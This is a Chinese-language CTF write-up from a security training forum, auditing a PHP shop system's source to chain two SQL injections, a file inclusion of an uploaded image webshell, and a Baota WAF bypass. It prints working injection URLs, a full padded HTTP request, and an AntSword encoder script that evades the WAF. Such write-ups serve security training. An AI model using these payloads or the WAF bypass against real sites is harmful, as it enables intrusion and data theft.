擂台赛A组 Writeup

veek   ·   发表于 2021-02-05 11:52:02   ·   CTF&WP专版

本篇是擂台赛A组的解题,主要包含了代码审计和漏洞利用的内容。

信息收集

根据网站特征、建站系统的关键词等扫到根目录下的fw.zip文件,下载后可知是网站源码。

代码审计

在本地搭建环境,首先要删除包内的install.lock文件,再重新安装。同时开始审计源码。这里主要分析漏洞利用链。

控制传参寻找对传参的处理是我们审计的一个核心思路。

常见的接收传参的方法有:

$_POST $_GET $_REQUEST $_COOKIE $_SERVER $GLOBALS

在传参的时候我们经常发现会使用strim函数进行处理

在这个函数中其实是去了一次空格,然后进行一次防XSS的HTML实体编码,然后再在自定义函数quotes中进行了一次魔术引号。

所以我们如果审计SQL注入,可以找不需要闭合的地方或者是strim不处理的地方。

既然要找数据库不需要闭合的地方就可以尝试进行全局搜索=”.$

数据库执行语句中的条件=凭借变量

注入一

然后我发现了在app/lib/main/cartModule.class.php里面的第115行到130行

foreach获取$_REQUEST中的selected传参。然后进行键值分离,然后放入数据库进行运算,然后很明显$v这个地方不需要任何东西闭合,并且$_REQUEST没有任何处理,所以基本上是存在SQL注入的。

那么我们要如何调用,这个文件怎么调用呀?看看入口文件index.php

它包含了MainApp.class.php

然后我们查看这个文件

他的核心部分就是这里所写的,其实很简单,获取ctl和act的传参,然后根据获取到的传参,然后来决定包含什么文件,ctl就包含xxxMoudule.class.php

那么我们现在要访问cartModule.class.php,当然ctl就传参cart,然后他就会去包含这个文件。

然后在这里类被实体化,调用方法由$action来决定,所以当你传参

ctl=cart&act=check

其实就是包含了cartMoudule.class.php,且实例化了cartModule 这类,然后调用其中的check方法。

然后在这里我需要提一下,在MainApp.class.php文件中包含了这个main_init.php

然后在这个文件中的第17行出现了filter_injection($_REQUEST);

然后filter_injection函数是用来防止过滤的

所以我们注入也不是毫无过滤,不过这个过滤很容易绕过,用/**/代替空格就可以了。

我们再看那边的源代码,我们会发现,这个地方需要我们传参一个数组。

传参数据其实很简单selected[]=1 就是传参的数组,然后经过键值分离,就可以达到$v=1.

然后我们在这里尝试SQL注入,然后因为这里无论如何传参都查询不出数据,所以需要union帮助一下。我用这条语句证明存在SQL注入

index.php?ctl=cart&act=check&selected[]=1//union//select/**/sleep(5)

然后我觉得可以用Sqlmap来跑,我们可以使用—tamper=space2comment.py来使/**/来替换空格。[很明显可以获取数据]

注入二

Mapi\Lib\evcModule.class.php

这个地方很明显将获取到的传参经过strim获取后放入数据库执行,那么我们要看看这个Mapi是如何被调用的,直接访问是不行的。

我们发现在wap\lib\main\evcModule.class.php中有个函数叫做call_api_core

这个函数是做什么的?

获取信息然后包含mapi里面的MainApp.class.php 然后实例化MainApiapp

选择其中的data方法。

因为这个魔术方法__construct所以被实例化自动调用,然后这个地方和我之前挖出的注入相同,就是获取了传参后去包含对应的文件然后通过ctl传参来决定初始化某个类,通过act来决定是哪个方法。那么到了这里很明显能够通过访问wap\lib\main\evcModule.class.php来达到让mapi里面的evcModule.class.php执行。

那怎么访问到wap\lib\main\evcModule.class.php,其实也是老把戏,通过访问wap\index.php

然后他包含了wap\lib\main\core\MainApp.class.php文件,然后其中通过ctl和act传参决定。

那么大致的流程知道了,我们怎么实现我们的攻击。

$GLOBALS[‘request’][‘exchange_sn’]

是最后会被拼接进数据库的,那么这个东西是怎么获取的?

在wap下的ecvModule文件

获取sn传参然后给了$param[‘exchange_sn’]

然后将这个传递给了$request,那么$param[‘exchange_sn’]=strim($_REQUEST[‘sn’])

并且将这个$param传入了call_api_core这个函数

然后$param变成了$request_param并且又定义了一些数组的元素

在mapi中的MainApp文件中变为了$GLOBALS[‘request’]

$GLOBALS[‘request’] = $request_param;

那么选中

$GLOBALS[‘request’][‘sn’] => $request_param[‘sn’] =>$param[‘exchange_sn’] => $_REQUEST[‘sn’]

所以我们只要传参sn就可以控制SQL注入,那么满足这个需要的是ctl=evc 然后我们访问的是wap下的index文件。

http://192.168.238.128/ft/wap/index.php?ctl=ecv&sn=999999%20or%20sleep(10)

很明显起了效果,但是不延时,然后我们去数据库直接执行下,发现不延时直接返回。

这个时候我注意到了这个表没有数据。mysql引擎优化会造成内容空忽略条件

所以需要让它有点数据,那么就联合查询吧。

http://192.168.238.128/ft/wap/index.php?ctl=ecv&sn=1%20union%20select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,sleep(5)

很明显的延时了。那怎么获取数据呢?

手工构建测试就可以了。如果感觉麻烦的可以自建python脚本。

文件包含

然后我们发现一个函数fetch访问这个函数,我们发现它是用于模板解析,然后我们发现现有的模板里面很多都有PHP代码,那么我们猜测模板解析会将模板内的东西当做PHP执行,那么我们看看能否控制这个函数

对什么文件进行模板解析是由我控制的,是$ecv_tpye[‘tpl’]决定究竟包含什么文件,然后$ecv_type由数据库得到的结果决定,通过查看数据库,我们发现第14个字段叫做tpl。那么说明第14个字段的输出会决定他究竟包含什么文件。

http://192.168.238.128/ft/wap/index.php?ctl=ecv&sn=1%20union%20select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,0x2e2e2f2e2e2f7075626c69632f6176617461722f3030302f30302f30332f35316176617461722e6a7067,15

0x2e2e2f2e2e2f7075626c69632f6176617461722f3030302f30302f30332f35316176617461722e6a7067 其实就是个16进制

内容是: ../../public/avatar/000/00/03/51avatar.jpg

这个是我上传的图片马。利用就是这么的简单。

靶场复现

先注册账号,制作一个图片马,上传到头像的位置。

php文件内容:

查看头像位置,去掉_200x200再访问可得到图片马 源文件。

宝塔绕过

在第二个注入点时,可以利用多传参的方法绕过宝塔检测。结果如下:

贴上请求包内容:

  1. GET /wap/index.php?a0=s&a1=s&a2=s&a3=s&a4=s&a5=s&a6=s&a7=s&a8=s&a9=s&a10=s&a11=s&a12=s&a13=s&a14=s&a15=s&a16=s&a17=s&a18=s&a19=s&a20=s&a21=s&a22=s&a23=s&a24=s&a25=s&a26=s&a27=s&a28=s&a29=s&a30=s&a31=s&a32=s&a33=s&a34=s&a35=s&a36=s&a37=s&a38=s&a39=s&a40=s&a41=s&a42=s&a43=s&a44=s&a45=s&a46=s&a47=s&a48=s&a49=s&a50=s&a51=s&a52=s&a53=s&a54=s&a55=s&a56=s&a57=s&a58=s&a59=s&a60=s&a61=s&a62=s&a63=s&a64=s&a65=s&a66=s&a67=s&a68=s&a69=s&a70=s&a71=s&a72=s&a73=s&a74=s&a75=s&a76=s&a77=s&a78=s&a79=s&a80=s&a81=s&a82=s&a83=s&a84=s&a85=s&a86=s&a87=s&a88=s&a89=s&a90=s&a91=s&a92=s&a93=s&a94=s&a95=s&a96=s&a97=s&a98=s&a99=s&ctl=ecv&sn=1%20union%20select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,sleep(5) HTTP/1.1
  2. Host: mawd16-20.aqlab.cn:23512
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Cookie: PHPSESSID=gut4vgrc9rn2d661ma2h2r0js6
  9. Upgrade-Insecure-Requests: 1
  10. Cache-Control: max-age=0

同样的,利用这个bypass方法执行刚才上传上去的图片马,如图先转换16进制再解析

webshell连接

此处使用的是蚁剑,因为我们已经知道了宝塔的绕过方式。即在每个请求中注入多个垃圾参数。在编码器中将规则写入,保存为multi

  1. 'use strict';
  2. module.exports = (pwd, data, ext={}) => {
  3. // ########## 请在下方编写你自己的代码 ###################
  4. // 生成一个随机变量名
  5. data['a0']='s';data['a1']='s';data['a2']='s';data['a3']='s';data['a4']='s';data['a5']='s';data['a6']='s';data['a4']='s';data['a5']='s';data['a6']='s';data['a4']='s';data['a5']='s';data['a6']='s';data['a7']='s';data['a8']='s';data['a9']='s';data['a10']='s';data['a11']='s';data['a12']='s';data['a13']='s';data['a14']='s';data['a15']='s';data['a16']='s';data['a17']='s';data['a18']='s';data['a19']='s';data['a20']='s';data['a21']='s';data['a22']='s';data['a23']='s';data['a24']='s';data['a25']='s';data['a26']='s';data['a27']='s';data['a28']='s';data['a29']='s';data['a30']='s';data['a31']='s';data['a32']='s';data['a33']='s';data['a34']='s';data['a35']='s';data['a36']='s';data['a37']='s';data['a38']='s';data['a39']='s';data['a40']='s';data['a41']='s';data['a42']='s';data['a43']='s';data['a44']='s';data['a45']='s';data['a46']='s';data['a47']='s';data['a48']='s';data['a49']='s';data['a50']='s';data['a51']='s';data['a52']='s';data['a53']='s';data['a54']='s';data['a55']='s';data['a56']='s';data['a57']='s';data['a58']='s';data['a59']='s';data['a60']='s';data['a61']='s';data['a62']='s';data['a63']='s';data['a64']='s';data['a65']='s';data['a66']='s';data['a67']='s';data['a68']='s';data['a69']='s';data['a70']='s';data['a71']='s';data['a72']='s';data['a78']='s';data['a79']='s';data['a80']='s';data['a81']='s';data['a82']='s';data['a83']='s';data['a84']='s';data['a85']='s';data['a86']='s';data['a87']='s';data['a88']='s';data['a89']='s';data['a90']='s';data['a91']='s';data['a92']='s';data['a93']='s';data['a94']='s';data['a95']='s';data['a96']='s';data['a97']='s';data['a98']='s';data['a99']='s';data['a100']='s';data['a101']='s';data['a102']='s';data['a103']='s';data['a104']='s';data['a105']='s';data['a106']='s';data['a107']='s';data['a108']='s';data['a109']='s';data['a110']='s';data['a111']='s';data['a112']='s';data['a113']='s';data['a114']='s';data['a115']='s';data['a116']='s';data['a117']='s';data['a118']='s';data['a119']='s';data['a120']='s';data['a121']='s';
  6. let randomID = `zzzzzzz`;//使用较长的参数名,使其自动顺位到尾部
  7. data[pwd] = Buffer.from(data['_']);
  8. // ########## 请在上方编写你自己的代码 ###################
  9. delete data['_'];
  10. // 返回编码器处理后的 payload 数组
  11. return data;
  12. }

编码与解码的选择如下:

成功连接到文件,获取到第二个flag

此时也可找到网站的数据库配置文件,位于public/db_config.php,获取数据库连接的账号密码,然后连接数据库,得到数据库中的flag。

关于后续提权的操作,因为靶场开启了防提权,进一步利用需涉及二进制漏洞,有兴趣的可以自己研究。

结语

以上就是A组题的Writeup。关于后续活动请继续关注社区与公众号“掌控安全EDU”动态。

下一届红队擂台赛正在筹备中,预计将于三月中旬举行,敬请期待!

比赛通知群:421910690

打赏我,让我更有动力~

0 条回复   |  直到 2021-2-5 | 1841 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.